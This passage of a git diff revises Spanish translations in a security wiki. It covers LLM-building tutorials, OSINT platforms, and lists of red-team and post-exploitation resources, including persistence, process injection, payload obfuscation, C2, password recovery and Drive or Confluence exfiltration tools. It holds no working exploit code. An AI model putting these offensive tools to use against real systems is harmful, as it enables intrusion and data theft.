-&#xNAN;_(Asumiendo que `[UNK]` tiene el ID `987`)_
+&#xNAN;_(Suponiendo que `[UNK]` tiene el ID `987`)_
 
 ### **Métodos Avanzados de Tokenización**
 
diff --git a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md
index d84bf600c..a2ca016ee 100644
--- a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md
+++ b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md
@@ -2,7 +2,7 @@
 
 ## Mecanismos de Atención y Autoatención en Redes Neuronales
 
-Los mecanismos de atención permiten que las redes neuronales se **enfoquen en partes específicas de la entrada al generar cada parte de la salida**. Asignan diferentes pesos a diferentes entradas, ayudando al modelo a decidir cuáles entradas son más relevantes para la tarea en cuestión. Esto es crucial en tareas como la traducción automática, donde entender el contexto de toda la oración es necesario para una traducción precisa.
+Los mecanismos de atención permiten que las redes neuronales **se centren en partes específicas de la entrada al generar cada parte de la salida**. Asignan diferentes pesos a diferentes entradas, ayudando al modelo a decidir cuáles entradas son más relevantes para la tarea en cuestión. Esto es crucial en tareas como la traducción automática, donde entender el contexto de toda la oración es necesario para una traducción precisa.
 
 > [!TIP]
 > El objetivo de esta cuarta fase es muy simple: **Aplicar algunos mecanismos de atención**. Estos van a ser muchas **capas repetidas** que van a **capturar la relación de una palabra en el vocabulario con sus vecinos en la oración actual que se está utilizando para entrenar el LLM**.\
@@ -14,7 +14,7 @@ En los modelos tradicionales de secuencia a secuencia utilizados para la traducc
 
 #### Ejemplo: Traducción Automática
 
-Considera traducir la oración en alemán "Kannst du mir helfen diesen Satz zu übersetzen" al inglés. Una traducción palabra por palabra no produciría una oración en inglés gramaticalmente correcta debido a las diferencias en las estructuras gramaticales entre los idiomas. Un mecanismo de atención permite que el modelo se enfoque en partes relevantes de la oración de entrada al generar cada palabra de la oración de salida, lo que lleva a una traducción más precisa y coherente.
+Considera traducir la oración en alemán "Kannst du mir helfen diesen Satz zu übersetzen" al inglés. Una traducción palabra por palabra no produciría una oración en inglés gramaticalmente correcta debido a las diferencias en las estructuras gramaticales entre los idiomas. Un mecanismo de atención permite que el modelo se concentre en partes relevantes de la oración de entrada al generar cada palabra de la oración de salida, lo que lleva a una traducción más precisa y coherente.
 
 ### Introducción a la Autoatención
 
@@ -157,7 +157,7 @@ values = torch.matmul(inputs, W_value)
 
 **Calcular Puntuaciones de Atención**
 
-Similar al ejemplo anterior, pero esta vez, en lugar de usar los valores de las dimensiones de los tokens, usamos la matriz de claves del token (ya calculada usando las dimensiones):. Así que, para cada consulta `qi`​ y clave `kj​`:
+Similar al ejemplo anterior, pero esta vez, en lugar de usar los valores de las dimensiones de los tokens, usamos la matriz de clave del token (ya calculada usando las dimensiones):. Así que, para cada consulta `qi`​ y clave `kj​`:
 
 <figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
 
@@ -226,16 +226,16 @@ print(sa_v2(inputs))
 
 ## Atención Causal: Ocultando Palabras Futuras
 
-Para los LLMs, queremos que el modelo considere solo los tokens que aparecen antes de la posición actual para **predecir el siguiente token**. La **atención causal**, también conocida como **atención enmascarada**, logra esto modificando el mecanismo de atención para prevenir el acceso a tokens futuros.
+Para los LLMs, queremos que el modelo considere solo los tokens que aparecen antes de la posición actual para **predecir el siguiente token**. La **atención causal**, también conocida como **atención enmascarada**, logra esto modificando el mecanismo de atención para evitar el acceso a tokens futuros.
 
 ### Aplicando una Máscara de Atención Causal
 
-Para implementar la atención causal, aplicamos una máscara a las puntuaciones de atención **antes de la operación softmax** para que las restantes sumen 1. Esta máscara establece las puntuaciones de atención de los tokens futuros en negativo infinito, asegurando que después del softmax, sus pesos de atención sean cero.
+Para implementar la atención causal, aplicamos una máscara a las puntuaciones de atención **antes de la operación softmax** para que las que quedan sumen 1. Esta máscara establece las puntuaciones de atención de los tokens futuros en negativo infinito, asegurando que después del softmax, sus pesos de atención sean cero.
 
 **Pasos**
 
 1. **Calcular Puntuaciones de Atención**: Igual que antes.
-2. **Aplicar Máscara**: Utilizar una matriz triangular superior llena de negativo infinito por encima de la diagonal.
+2. **Aplicar Máscara**: Usar una matriz triangular superior llena de negativo infinito por encima de la diagonal.
 
 ```python
 mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
@@ -323,7 +323,7 @@ print("context_vecs.shape:", context_vecs.shape)
 ```
 ## Ampliando la Atención de Cabeza Única a Atención de Múltiples Cabezas
 
-**La atención de múltiples cabezas** en términos prácticos consiste en ejecutar **múltiples instancias** de la función de autoatención, cada una con **sus propios pesos**, de modo que se calculen diferentes vectores finales.
+**La atención de múltiples cabezas** en términos prácticos consiste en ejecutar **múltiples instancias** de la función de auto-atención, cada una con **sus propios pesos**, de modo que se calculen diferentes vectores finales.
 
 ### Ejemplo de Código
 
@@ -411,6 +411,6 @@ Para otra implementación compacta y eficiente, podrías usar la clase [`torch.n
 >
 > Si bien permitir que cada cabeza procese todas las dimensiones de embedding podría parecer ventajoso porque cada cabeza tendría acceso a toda la información, la práctica estándar es **dividir las dimensiones de embedding entre las cabezas**. Este enfoque equilibra la eficiencia computacional con el rendimiento del modelo y fomenta que cada cabeza aprenda representaciones diversas. Por lo tanto, dividir las dimensiones de embedding se prefiere generalmente sobre permitir que cada cabeza verifique todas las dimensiones.
 
-## References
+## Referencias
 
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
diff --git a/src/todo/llm-training-data-preparation/5.-llm-architecture.md b/src/todo/llm-training-data-preparation/5.-llm-architecture.md
index dfcc36d2c..16c03050e 100644
--- a/src/todo/llm-training-data-preparation/5.-llm-architecture.md
+++ b/src/todo/llm-training-data-preparation/5.-llm-architecture.md
@@ -3,7 +3,7 @@
 ## Arquitectura LLM
 
 > [!TIP]
-> El objetivo de esta quinta fase es muy simple: **Desarrollar la arquitectura del LLM completo**. Reúne todo, aplica todas las capas y crea todas las funciones para generar texto o transformar texto en IDs y viceversa.
+> El objetivo de esta quinta fase es muy simple: **Desarrollar la arquitectura del LLM completo**. Juntar todo, aplicar todas las capas y crear todas las funciones para generar texto o transformar texto a IDs y viceversa.
 >
 > Esta arquitectura se utilizará tanto para entrenar como para predecir texto después de haber sido entrenada.
 
@@ -294,7 +294,7 @@ return self.scale * norm_x + self.shift
 - **Layer Normalization:** Una técnica utilizada para normalizar las entradas a través de las características (dimensiones de embedding) para cada ejemplo individual en un lote.
 - **Componentes:**
 - **`eps`:** Una constante pequeña (`1e-5`) añadida a la varianza para prevenir la división por cero durante la normalización.
-- **`scale` y `shift`:** Parámetros aprendibles (`nn.Parameter`) que permiten al modelo escalar y desplazar la salida normalizada. Se inicializan en unos y ceros, respectivamente.
+- **`scale` y `shift`:** Parámetros aprendibles (`nn.Parameter`) que permiten al modelo escalar y desplazar la salida normalizada. Se inicializan en uno y cero, respectivamente.
 - **Proceso de Normalización:**
 - **Calcular Media (`mean`):** Calcula la media de la entrada `x` a través de la dimensión de embedding (`dim=-1`), manteniendo la dimensión para la difusión (`keepdim=True`).
 - **Calcular Varianza (`var`):** Calcula la varianza de `x` a través de la dimensión de embedding, también manteniendo la dimensión. El parámetro `unbiased=False` asegura que la varianza se calcule utilizando el estimador sesgado (dividiendo por `N` en lugar de `N-1`), lo cual es apropiado al normalizar sobre características en lugar de muestras.
@@ -348,10 +348,10 @@ return x  # Output shape: (batch_size, seq_len, emb_dim)
 ```
 #### **Propósito y Funcionalidad**
 
-- **Composición de Capas:** Combina atención de múltiples cabezas, red de avance, normalización de capas y conexiones residuales.
-- **Normalización de Capas:** Aplicada antes de las capas de atención y avance para un entrenamiento estable.
-- **Conexiones Residuales (Atajos):** Añaden la entrada de una capa a su salida para mejorar el flujo de gradientes y permitir el entrenamiento de redes profundas.
-- **Dropout:** Aplicado después de las capas de atención y avance para regularización.
+- **Composición de Capas:** Combina atención de múltiples cabezas, red de alimentación, normalización de capas y conexiones residuales.
+- **Normalización de Capas:** Aplicada antes de las capas de atención y de alimentación para un entrenamiento estable.
+- **Conexiones Residuales (Atajos):** Agrega la entrada de una capa a su salida para mejorar el flujo de gradientes y permitir el entrenamiento de redes profundas.
+- **Dropout:** Aplicado después de las capas de atención y de alimentación para regularización.
 
 #### **Funcionalidad Paso a Paso**
 
@@ -360,19 +360,19 @@ return x  # Output shape: (batch_size, seq_len, emb_dim)
 - **Norma de Capa (`norm1`):** Normaliza la entrada.
 - **Atención de Múltiples Cabezas (`att`):** Aplica autoatención.
 - **Dropout (`drop_shortcut`):** Aplica dropout para regularización.
-- **Añadir Residual (`x + shortcut`):** Combina con la entrada original.
+- **Agregar Residual (`x + shortcut`):** Combina con la entrada original.
 2. **Segundo Camino Residual (FeedForward):**
 - **Entrada (`shortcut`):** Guarda la entrada actualizada para la siguiente conexión residual.
 - **Norma de Capa (`norm2`):** Normaliza la entrada.
-- **Red de Avance (`ff`):** Aplica la transformación de avance.
+- **Red de Alimentación (`ff`):** Aplica la transformación de alimentación.
 - **Dropout (`drop_shortcut`):** Aplica dropout.
-- **Añadir Residual (`x + shortcut`):** Combina con la entrada del primer camino residual.
+- **Agregar Residual (`x + shortcut`):** Combina con la entrada del primer camino residual.
 
 > [!NOTE]
 > El bloque transformer agrupa todas las redes y aplica alguna **normalización** y **dropouts** para mejorar la estabilidad y los resultados del entrenamiento.\
 > Nota cómo los dropouts se realizan después del uso de cada red mientras que la normalización se aplica antes.
 >
-> Además, también utiliza atajos que consisten en **añadir la salida de una red con su entrada**. Esto ayuda a prevenir el problema del gradiente que se desvanece al asegurar que las capas iniciales contribuyan "tanto" como las últimas.
+> Además, también utiliza atajos que consisten en **agregar la salida de una red con su entrada**. Esto ayuda a prevenir el problema del gradiente que se desvanece al asegurar que las capas iniciales contribuyan "tanto" como las últimas.
 
 ### **GPTModel**
 
@@ -444,7 +444,7 @@ return logits  # Output shape: (batch_size, seq_len, vocab_size)
 > [!NOTE]
 > El objetivo de esta clase es usar todas las otras redes mencionadas para **predecir el siguiente token en una secuencia**, lo cual es fundamental para tareas como la generación de texto.
 >
-> Nota cómo **usará tantos bloques de transformer como se indique** y que cada bloque de transformer utiliza una red de atención multi-cabeza, una red de avance y varias normalizaciones. Así que si se utilizan 12 bloques de transformer, multiplica esto por 12.
+> Nota cómo **usará tantos bloques de transformer como se indique** y que cada bloque de transformer está utilizando una red de atención multi-cabeza, una red de avance y varias normalizaciones. Así que si se utilizan 12 bloques de transformer, multiplica esto por 12.
 >
 > Además, se agrega una capa de **normalización** **antes** de la **salida** y se aplica una capa lineal final al final para obtener los resultados con las dimensiones adecuadas. Nota cómo cada vector final tiene el tamaño del vocabulario utilizado. Esto se debe a que está tratando de obtener una probabilidad por cada token posible dentro del vocabulario.
 
@@ -579,7 +579,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
 
 **a. Normalización de la Capa Final**
 
-- **Parámetros:** `2 * emb_dim` (escalar y desplazar)
+- **Parámetros:** `2 * emb_dim` (escala y desplazamiento)
 ```python
 pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
 ```
diff --git a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md
index 3a8146a6b..c0d6df2be 100644
--- a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md
+++ b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md
@@ -17,7 +17,7 @@ LoRA hace posible ajustar finamente **modelos grandes** de manera eficiente al c
 3. **Ajuste Fino Eficiente Específico de Tareas**: Cuando deseas adaptar el modelo a una **nueva tarea**, puedes entrenar solo las **pequeñas matrices LoRA** (A y B) mientras dejas el resto del modelo tal como está. Esto es **mucho más eficiente** que volver a entrenar todo el modelo.
 4. **Eficiencia de Almacenamiento**: Después del ajuste fino, en lugar de guardar un **modelo completamente nuevo** para cada tarea, solo necesitas almacenar las **matrices LoRA**, que son muy pequeñas en comparación con el modelo completo. Esto facilita la adaptación del modelo a muchas tareas sin usar demasiado almacenamiento.
 
-Para implementar LoraLayers en lugar de capas Lineales durante un ajuste fino, se propone este código aquí [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
+Para implementar LoraLayers en lugar de las lineales durante un ajuste fino, se propone este código aquí [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
 ```python
 import math
 
diff --git a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md
index 048616b80..4784c2f95 100644
--- a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md
+++ b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md
@@ -29,7 +29,7 @@ Absolutely! Gravity is a force that pulls objects toward each other.
 ```
 Entrenar un LLM con este tipo de conjuntos de datos en lugar de solo texto sin procesar ayuda al LLM a entender que necesita dar respuestas específicas a las preguntas que recibe.
 
-Por lo tanto, una de las primeras cosas que se deben hacer con un conjunto de datos que contiene solicitudes y respuestas es modelar esa fecha en el formato de aviso deseado, como:
+Por lo tanto, una de las primeras cosas que se deben hacer con un conjunto de datos que contiene solicitudes y respuestas es modelar esos datos en el formato de aviso deseado, como:
 ```python
 # Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
 def format_input(entry):
@@ -58,7 +58,7 @@ Luego, es necesario agrupar todas las entradas y salidas esperadas para el entre
 - Tokenizar los textos
 - Rellenar todas las muestras a la misma longitud (generalmente la longitud será tan grande como la longitud del contexto utilizado para pre-entrenar el LLM)
 - Crear los tokens esperados desplazando 1 la entrada en una función de colación personalizada
-- Reemplazar algunos tokens de relleno con -100 para excluirlos de la pérdida de entrenamiento: Después del primer token `endoftext`, sustituir todos los otros tokens `endoftext` por -100 (porque usar `cross_entropy(...,ignore_index=-100)` significa que ignorará los objetivos con -100)
+- Reemplazar algunos tokens de relleno con -100 para excluirlos de la pérdida de entrenamiento: Después del primer token `endoftext`, sustituir todos los demás tokens `endoftext` por -100 (porque usar `cross_entropy(...,ignore_index=-100)` significa que ignorará los objetivos con -100)
 - \[Opcional\] Enmascarar usando -100 también todos los tokens que pertenecen a la pregunta para que el LLM aprenda solo a generar la respuesta. En el estilo de Apply Alpaca, esto significará enmascarar todo hasta `### Response:`
 
 Con esto creado, es hora de crear los cargadores de datos para cada conjunto de datos (entrenamiento, validación y prueba).
@@ -68,7 +68,7 @@ Con esto creado, es hora de crear los cargadores de datos para cada conjunto de
 Es necesario cargar un LLM pre-entrenado para ajustarlo. Esto ya se discutió en otras páginas. Luego, es posible usar la función de entrenamiento utilizada anteriormente para ajustar el LLM.
 
 Durante el entrenamiento también es posible ver cómo varía la pérdida de entrenamiento y la pérdida de validación durante las épocas para ver si la pérdida se está reduciendo y si está ocurriendo sobreajuste.\
-Recuerda que el sobreajuste ocurre cuando la pérdida de entrenamiento se está reduciendo pero la pérdida de validación no se está reduciendo o incluso está aumentando. Para evitar esto, lo más simple es detener el entrenamiento en la época donde comienza este comportamiento.
+Recuerda que el sobreajuste ocurre cuando la pérdida de entrenamiento se está reduciendo pero la pérdida de validación no se está reduciendo o incluso está aumentando. Para evitar esto, lo más sencillo es detener el entrenamiento en la época donde comienza este comportamiento.
 
 ## Response Quality
 
diff --git a/src/todo/llm-training-data-preparation/README.md b/src/todo/llm-training-data-preparation/README.md
index 26fdbc953..a6102ff21 100644
--- a/src/todo/llm-training-data-preparation/README.md
+++ b/src/todo/llm-training-data-preparation/README.md
@@ -7,7 +7,7 @@
 Deberías comenzar leyendo esta publicación para algunos conceptos básicos que deberías conocer:
 
 {{#ref}}
-0.-basic-llm-concepts.md
+0.-conceptos-basicos-llm.md
 {{#endref}}
 
 ## 1. Tokenización
@@ -16,7 +16,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
 > El objetivo de esta fase inicial es muy simple: **Dividir la entrada en tokens (ids) de una manera que tenga sentido**.
 
 {{#ref}}
-1.-tokenizing.md
+1.-tokenizando.md
 {{#endref}}
 
 ## 2. Muestreo de Datos
@@ -25,7 +25,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
 > El objetivo de esta segunda fase es muy simple: **Muestrear los datos de entrada y prepararlos para la fase de entrenamiento, generalmente separando el conjunto de datos en oraciones de una longitud específica y generando también la respuesta esperada.**
 
 {{#ref}}
-2.-data-sampling.md
+2.-muestreo-de-datos.md
 {{#endref}}
 
 ## 3. Embeddings de Tokens
@@ -37,7 +37,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
 > Además, durante el embedding de tokens **se crea otra capa de embeddings** que representa (en este caso) la **posición absoluta de la palabra en la oración de entrenamiento**. De esta manera, una palabra en diferentes posiciones en la oración tendrá una representación (significado) diferente.
 
 {{#ref}}
-3.-token-embeddings.md
+3.-embeddings-de-tokens.md
 {{#endref}}
 
 ## 4. Mecanismos de Atención
@@ -47,7 +47,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
 > Se utilizan muchas capas para esto, por lo que muchos parámetros entrenables van a capturar esta información.
 
 {{#ref}}
-4.-attention-mechanisms.md
+4.-mecanismos-de-atencion.md
 {{#endref}}
 
 ## 5. Arquitectura del LLM
@@ -58,16 +58,16 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
 > Esta arquitectura se utilizará tanto para entrenar como para predecir texto después de haber sido entrenada.
 
 {{#ref}}
-5.-llm-architecture.md
+5.-arquitectura-llm.md
 {{#endref}}
 
 ## 6. Pre-entrenamiento y Carga de Modelos
 
 > [!TIP]
-> El objetivo de esta sexta fase es muy simple: **Entrenar el modelo desde cero**. Para esto se utilizará la arquitectura LLM anterior con algunos bucles sobre los conjuntos de datos utilizando las funciones de pérdida y optimizador definidos para entrenar todos los parámetros del modelo.
+> El objetivo de esta sexta fase es muy simple: **Entrenar el modelo desde cero**. Para esto se utilizará la arquitectura LLM anterior con algunos bucles sobre los conjuntos de datos utilizando las funciones de pérdida y optimizador definidas para entrenar todos los parámetros del modelo.
 
 {{#ref}}
-6.-pre-training-and-loading-models.md
+6.-pre-entrenamiento-y-carga-de-modelos.md
 {{#endref}}
 
 ## 7.0. Mejoras de LoRA en el ajuste fino
@@ -76,7 +76,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
 > El uso de **LoRA reduce mucho la computación** necesaria para **ajustar finamente** modelos ya entrenados.
 
 {{#ref}}
-7.0.-lora-improvements-in-fine-tuning.md
+7.0.-mejoras-lora-en-ajuste-fino.md
 {{#endref}}
 
 ## 7.1. Ajuste Fino para Clasificación
@@ -85,7 +85,7 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
 > El objetivo de esta sección es mostrar cómo ajustar finamente un modelo ya preentrenado para que en lugar de generar nuevo texto, el LLM seleccione y dé las **probabilidades de que el texto dado sea categorizado en cada una de las categorías dadas** (como si un texto es spam o no).
 
 {{#ref}}
-7.1.-fine-tuning-for-classification.md
+7.1.-ajuste-fino-para-clasificacion.md
 {{#endref}}
 
 ## 7.2. Ajuste Fino para seguir instrucciones
@@ -94,5 +94,5 @@ Deberías comenzar leyendo esta publicación para algunos conceptos básicos que
 > El objetivo de esta sección es mostrar cómo **ajustar finamente un modelo ya preentrenado para seguir instrucciones** en lugar de solo generar texto, por ejemplo, respondiendo a tareas como un chatbot.
 
 {{#ref}}
-7.2.-fine-tuning-to-follow-instructions.md
+7.2.-ajuste-fino-para-seguir-instrucciones.md
 {{#endref}}
diff --git a/src/todo/misc.md b/src/todo/misc.md
index 6200963fb..a376ea9d9 100644
--- a/src/todo/misc.md
+++ b/src/todo/misc.md
@@ -20,9 +20,9 @@ Se envía un paquete UDP vacío a un puerto específico. Si el puerto UDP está
 El escaneo de puertos UDP a menudo es poco confiable, ya que los firewalls y routers pueden descartar paquetes ICMP.\
 Esto puede llevar a falsos positivos en tu escaneo, y regularmente verás\
 escaneos de puertos UDP mostrando todos los puertos UDP abiertos en una máquina escaneada.\
-o La mayoría de los escáneres de puertos no escanean todos los puertos disponibles, y generalmente tienen una lista preestablecida de “puertos interesantes” que se escanean.
+La mayoría de los escáneres de puertos no escanean todos los puertos disponibles, y generalmente tienen una lista preestablecida de “puertos interesantes” que se escanean.
 
-# CTF - Trucos
+# CTF - Tricks
 
 En **Windows** usa **Winzip** para buscar archivos.\
 **Flujos de datos alternativos**: _dir /r | find ":$DATA"_\
diff --git a/src/todo/more-tools.md b/src/todo/more-tools.md
index 87038eaf0..96e7274e7 100644
--- a/src/todo/more-tools.md
+++ b/src/todo/more-tools.md
@@ -64,10 +64,10 @@
 - [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Persistencia
 - [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Técnicas de inyección de procesos de Windows
 - [https://github.com/BankSecurity/Red_Team](https://github.com/BankSecurity/Red_Team) : Scripts de Red Team
-- [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : encontrar configuraciones incorrectas relacionadas con la seguridad en la Política de Grupo de Active Directory.
+- [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : encontrar configuraciones incorrectas relacionadas con la seguridad en Active Directory Group Policy.
 - [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Ofuscación de Securestring
 - [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Suplantación de PID padre
-- [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Cifrar cargas útiles de Powershell
+- [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Encriptar cargas útiles de Powershell
 - [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : C2 sigiloso
 - [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Serie de registros sobre Windows Internals
 - [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Rastrear quién abre un documento
diff --git a/src/todo/online-platforms-with-api.md b/src/todo/online-platforms-with-api.md
index 5d8d0230c..f16b67c30 100644
--- a/src/todo/online-platforms-with-api.md
+++ b/src/todo/online-platforms-with-api.md
@@ -33,16 +33,16 @@ Tecnologías utilizadas por sitios web. Caro...\
 
 ## [Fraudguard](https://fraudguard.io/)
 
-Verifica si un host (dominio o IP) está relacionado con actividades sospechosas/maliciosas. Tiene acceso gratuito a la API.\
+Verifica si un host (dominio o IP) está relacionado con actividades sospechosas/maliciosas. Tiene algo de acceso gratuito a la API.\
 ¿Comercial?
 
 ## [FortiGuard](https://fortiguard.com/)
 
-Verifica si un host (dominio o IP) está relacionado con actividades sospechosas/maliciosas. Tiene acceso gratuito a la API.
+Verifica si un host (dominio o IP) está relacionado con actividades sospechosas/maliciosas. Tiene algo de acceso gratuito a la API.
 
 ## [SpamCop](https://www.spamcop.net/)
 
-Indica si el host está relacionado con actividad de spam. Tiene acceso gratuito a la API.
+Indica si el host está relacionado con actividad de spam. Tiene algo de acceso gratuito a la API.
 
 ## [mywot](https://www.mywot.com/)
 
@@ -55,11 +55,11 @@ Obtiene información básica de una dirección IP. Puedes probar hasta 100K/mes.
 ## [securitytrails](https://securitytrails.com/app/account)
 
 Esta plataforma proporciona información sobre dominios y direcciones IP, como dominios dentro de una IP o dentro de un servidor de dominio, dominios propiedad de un correo electrónico (encuentra dominios relacionados), historial de IP de dominios (encuentra el host detrás de CloudFlare), todos los dominios que utilizan un nameserver....\
-Tienes acceso gratuito.
+Tienes algo de acceso gratuito.
 
 ## [fullcontact](https://www.fullcontact.com/)
 
-Permite buscar por correo electrónico, dominio o nombre de empresa y recuperar información "personal" relacionada. También puede verificar correos electrónicos. Hay acceso gratuito.
+Permite buscar por correo electrónico, dominio o nombre de empresa y recuperar información "personal" relacionada. También puede verificar correos electrónicos. Hay algo de acceso gratuito.
 
 ## [RiskIQ](https://www.spiderfoot.net/documentation/)
 
@@ -67,11 +67,11 @@ Mucha información de dominios e IPs incluso en la versión gratuita/comunitaria
 
 ## [\_IntelligenceX](https://intelx.io/)
 
-Busca dominios, IPs y correos electrónicos y obtiene información de dumps. Tiene acceso gratuito.
+Busca dominios, IPs y correos electrónicos y obtiene información de dumps. Tiene algo de acceso gratuito.
 
 ## [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/)
 
-Busca por IP y recopila información relacionada con actividades sospechosas. Hay acceso gratuito.
+Busca por IP y recopila información relacionada con actividades sospechosas. Hay algo de acceso gratuito.
 
 ## [Greynoise](https://viz.greynoise.io/)
 
@@ -79,7 +79,7 @@ Busca por IP o rango de IP y obtiene información sobre IPs que escanean Interne
 
 ## [Shodan](https://www.shodan.io/)
 
-Obtén información de escaneo de una dirección IP. Tiene acceso gratuito a la API.
+Obtén información de escaneo de una dirección IP. Tiene algo de acceso gratuito a la API.
 
 ## [Censys](https://censys.io/)
 
@@ -116,7 +116,7 @@ Busca por dominio y correo electrónico y verifica si ha sido comprometido y con
 
 ### [IP2Location.io](https://www.ip2location.io/)
 
-Detecta geolocalización de IP, centro de datos, ASN e incluso información de VPN. Ofrece 30K consultas gratuitas por mes.
+Detecta la geolocalización de IP, centro de datos, ASN e incluso información de VPN. Ofrece 30K consultas gratuitas por mes.
 
 [https://dnsdumpster.com/](https://dnsdumpster.com/) (¿en una herramienta comercial?)
 
diff --git a/src/todo/other-web-tricks.md b/src/todo/other-web-tricks.md
index e0aac89f6..6e3fbdef5 100644
--- a/src/todo/other-web-tricks.md
+++ b/src/todo/other-web-tricks.md
@@ -28,7 +28,7 @@ Registra un correo electrónico, antes de confirmarlo cambia el correo, luego, s
 
 ### Método TRACE
 
-Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` replicando en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
+Los desarrolladores pueden olvidar deshabilitar varias opciones de depuración en el entorno de producción. Por ejemplo, el método HTTP `TRACE` está diseñado para fines de diagnóstico. Si está habilitado, el servidor web responderá a las solicitudes que utilicen el método `TRACE` repitiendo en la respuesta la solicitud exacta que se recibió. Este comportamiento a menudo es inofensivo, pero ocasionalmente conduce a la divulgación de información, como el nombre de los encabezados de autenticación internos que pueden ser añadidos a las solicitudes por proxies inversos.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
 
 ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
 
diff --git a/src/todo/post-exploitation.md b/src/todo/post-exploitation.md
index 99a3cfb16..d3afb2f62 100644
--- a/src/todo/post-exploitation.md
+++ b/src/todo/post-exploitation.md
@@ -2,10 +2,10 @@
 
 ## **Local l00t**
 
-- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Estos scripts, además de buscar vectores de PE, buscarán información sensible dentro del sistema de archivos.
+- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Estos scripts, además de buscar vectores PE, buscarán información sensible dentro del sistema de archivos.
 - [**LaZagne**](https://github.com/AlessandroZ/LaZagne): El **proyecto LaZagne** es una aplicación de código abierto utilizada para **recuperar muchas contraseñas** almacenadas en una computadora local. Cada software almacena sus contraseñas utilizando diferentes técnicas (texto plano, APIs, algoritmos personalizados, bases de datos, etc.). Esta herramienta ha sido desarrollada con el propósito de encontrar estas contraseñas para el software más comúnmente utilizado.
 
-## **Servicios Externos**
+## **External Services**
 
 - [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Este módulo se conectará a la API de Confluence utilizando un token de acceso, exportará a PDF y descargará los documentos de Confluence a los que el objetivo tiene acceso.
 - [**GD-Thief**](https://github.com/antman1p/GD-Thief): Herramienta de Red Team para exfiltrar archivos de Google Drive de un objetivo al que tú (el atacante) tienes acceso, a través de la API de Google Drive. Esto incluye todos los archivos compartidos, todos los archivos de unidades compartidas y todos los archivos de unidades de dominio a los que el objetivo tiene acceso.
diff --git a/src/todo/radio-hacking/fissure-the-rf-framework.md b/src/todo/radio-hacking/fissure-the-rf-framework.md
index b5bbcfa5f..3515fc79f 100644
--- a/src/todo/radio-hacking/fissure-the-rf-framework.md
+++ b/src/todo/radio-hacking/fissure-the-rf-framework.md
@@ -4,7 +4,7 @@
 
